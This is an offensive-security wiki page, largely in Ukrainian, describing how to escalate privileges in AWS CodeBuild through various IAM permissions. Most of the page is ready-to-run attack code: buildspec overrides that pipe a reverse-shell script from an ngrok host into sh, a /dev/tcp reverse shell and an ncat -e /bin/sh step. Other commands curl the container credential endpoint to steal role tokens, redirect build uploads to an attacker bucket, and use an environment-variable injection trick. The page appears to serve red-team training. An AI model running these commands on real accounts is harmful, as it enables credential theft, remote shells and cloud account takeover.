AWS - Codebuild Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

codebuild

Детальніше див. у:

AWS - Codebuild Enum

codebuild:StartBuild | codebuild:StartBuildBatch

Достатньо лише одного з цих дозволів, щоб запустити build із новим buildspec і викрасти token iam role, призначеної проекту:

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

Примітка: Різниця між цими двома командами в тому, що:

  • StartBuild запускає одне завдання збірки, використовуючи конкретний buildspec.yml.
  • StartBuildBatch дозволяє запустити пакет збірок з більш складними конфігураціями (наприклад, виконання кількох збірок паралельно).

Potential Impact: Прямий privesc до прикріплених ролей AWS Codebuild.

StartBuild Перезапис змінних середовища

Навіть якщо ви не можете змінити проект (UpdateProject) і ви не можете перезаписати buildspec, codebuild:StartBuild все ще дозволяє перезаписувати змінні середовища під час збірки через:

  • CLI: --environment-variables-override
  • API: environmentVariablesOverride

Якщо збірка використовує змінні середовища для контролю поведінки (destination buckets, feature flags, proxy settings, logging тощо), цього може бути достатньо, щоб exfiltrate secrets, до яких роль збірки має доступ, або щоб отримати code execution всередині збірки.

Example 1: Redirect Artifact/Upload Destination to Exfiltrate Secrets

Якщо збірка публікує артефакт в bucket/шлях, що контролюється змінною середовища (наприклад UPLOAD_BUCKET), перезапишіть його на bucket, контрольований атакуючим:

export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"

export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)

# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done

# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
Приклад 2: Python Startup Injection via PYTHONWARNINGS + BROWSER

Якщо збірка запускає python3 (поширено в buildspecs), іноді можна отримати code execution, не змінюючи buildspec, зловживаючи:

  • PYTHONWARNINGS: Python розв’язує поле category і імпортує dotted paths. Встановлення його в ...:antigravity.x:... змушує імпортувати стандартний модуль antigravity.
  • antigravity: викликає webbrowser.open(...).
  • BROWSER: контролює, що виконує webbrowser. На Linux значення розділяються через :. Використання #%s робить аргумент URL коментарем оболонки.

Це можна використати, щоб вивести облікові дані ролі CodeBuild (з http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) у CloudWatch логи, а потім отримати їх, якщо у вас є права на читання логів.

Розгорнути: StartBuild JSON request для трюку PYTHONWARNINGS + BROWSER ```json { "projectName": "codebuild_lab_7_project", "environmentVariablesOverride": [ { "name": "PYTHONWARNINGS", "value": "all:0:antigravity.x:0:0", "type": "PLAINTEXT" }, { "name": "BROWSER", "value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s", "type": "PLAINTEXT" } ] } ```

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Зловмисник з правами iam:PassRole, codebuild:CreateProject, and codebuild:StartBuild or codebuild:StartBuildBatch зможе escalate privileges to any codebuild IAM role шляхом створення запущеного екземпляра.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Потенційний вплив: Direct privesc to any AWS Codebuild role.

Warning

У Codebuild container файл /codebuild/output/tmp/env.sh містить усі змінні середовища, потрібні для доступу до metadata credentials.

Цей файл містить змінну середовища AWS_CONTAINER_CREDENTIALS_RELATIVE_URI, яка містить URL path для доступу до облікових даних. Виглядатиме приблизно так: /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Додайте це до URL http://169.254.170.2/ і ви зможете dump облікові дані ролі.

Крім того, він також містить змінну середовища ECS_CONTAINER_METADATA_URI, яка містить повний URL для отримання metadata info about the container.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Як і в попередньому розділі, якщо замість створення build project ви можете змінити його, ви можете вказати IAM Role і вкрасти token

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Можливий вплив: Прямий privesc до будь-якої ролі AWS Codebuild.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Як і в попередньому розділі, але без дозволу iam:PassRole, ви можете зловживати цими дозволами, щоб змінювати існуючі Codebuild проекти та отримувати доступ до ролі, яка вже їм призначена.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Можливий вплив: Прямий privesc до прикріплених AWS Codebuild roles.

SSM

Маючи достатні права, щоб розпочати ssm сесію, можна потрапити всередину Codebuild проекту під час його збірки.

Проект Codebuild повинен містити breakpoint:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

А потім:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

For more info перегляньте документацію.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

Attacker, який може start/restart a build конкретного проєкту CodeBuild, що зберігає свій buildspec.yml файл у S3 bucket, до якого має write access, може отримати command execution у процесі CodeBuild.

Note: ескалація актуальна тільки якщо CodeBuild worker має інший role, бажано більш privileged, ніж роль attacker.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Ви можете використати щось на кшталт цього buildspec, щоб отримати reverse shell:

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: Direct privesc до ролі, що використовується AWS CodeBuild worker і яка зазвичай має високі привілеї.

Warning

Зауважте, що buildspec може очікуватись у zip форматі, тому зловмиснику доведеться download, unzip, змінити buildspec.yml у кореневій директорії, zip знову та upload

More details could be found here.

Potential Impact: Direct privesc до приєднаних ролей AWS Codebuild.

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks